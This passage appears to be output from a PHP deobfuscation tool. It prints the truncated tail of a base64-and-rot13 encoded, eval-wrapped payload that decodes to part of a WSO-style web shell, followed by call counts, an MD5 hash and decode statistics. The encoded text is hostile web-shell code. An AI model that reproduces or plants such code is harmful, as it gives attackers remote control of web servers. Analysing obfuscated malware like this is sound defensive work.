iBjdWNfaGFuenIoKSwKCQkJImN1Y19pcmVmdmJhIiA9PiBjdWNpcmVmdmJhKCksCgkJCSJqZmJfaXJlZnZiYSIgPT4gSkZCX0lSRUZWQkEsCgkJCSJmbnNyemJxciIgPT4gQHZhdl90cmcoJ2Zuc3JfemJxcicpCgkJKTsKCQlycHViIGZyZXZueXZtcigkbik7Cgl9IHJ5ZnIgewoJCXJpbnkoJF9DQkZHWydjMSddKTsKCX0KfQp2cyggcnpjZ2woJF9DQkZHWyduJ10pICkKCXZzKHZmZnJnKCRxcnNuaHlnX25wZ3ZiYSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJHFyc25oeWdfbnBndmJhKSkKCQkkX0NCRkdbJ24nXSA9ICRxcnNuaHlnX25wZ3ZiYTsKCXJ5ZnIKCQkkX0NCRkdbJ24nXSA9ICdGcnBWYXNiJzsKdnMoICFyemNnbCgkX0NCRkdbJ24nXSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJF9DQkZHWyduJ10pICkKCXBueXlfaGZyZV9zaGFwKCducGd2YmEnIC4gJF9DQkZHWyduJ10pOwpya3ZnOwo='))); ?>
Function Calls
ini_set | 2 |
str_rot13 | 1 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | 017349119d6071930f89c4c1bfe2638c |
Eval Count | 1 |
Decode Time | 184 ms |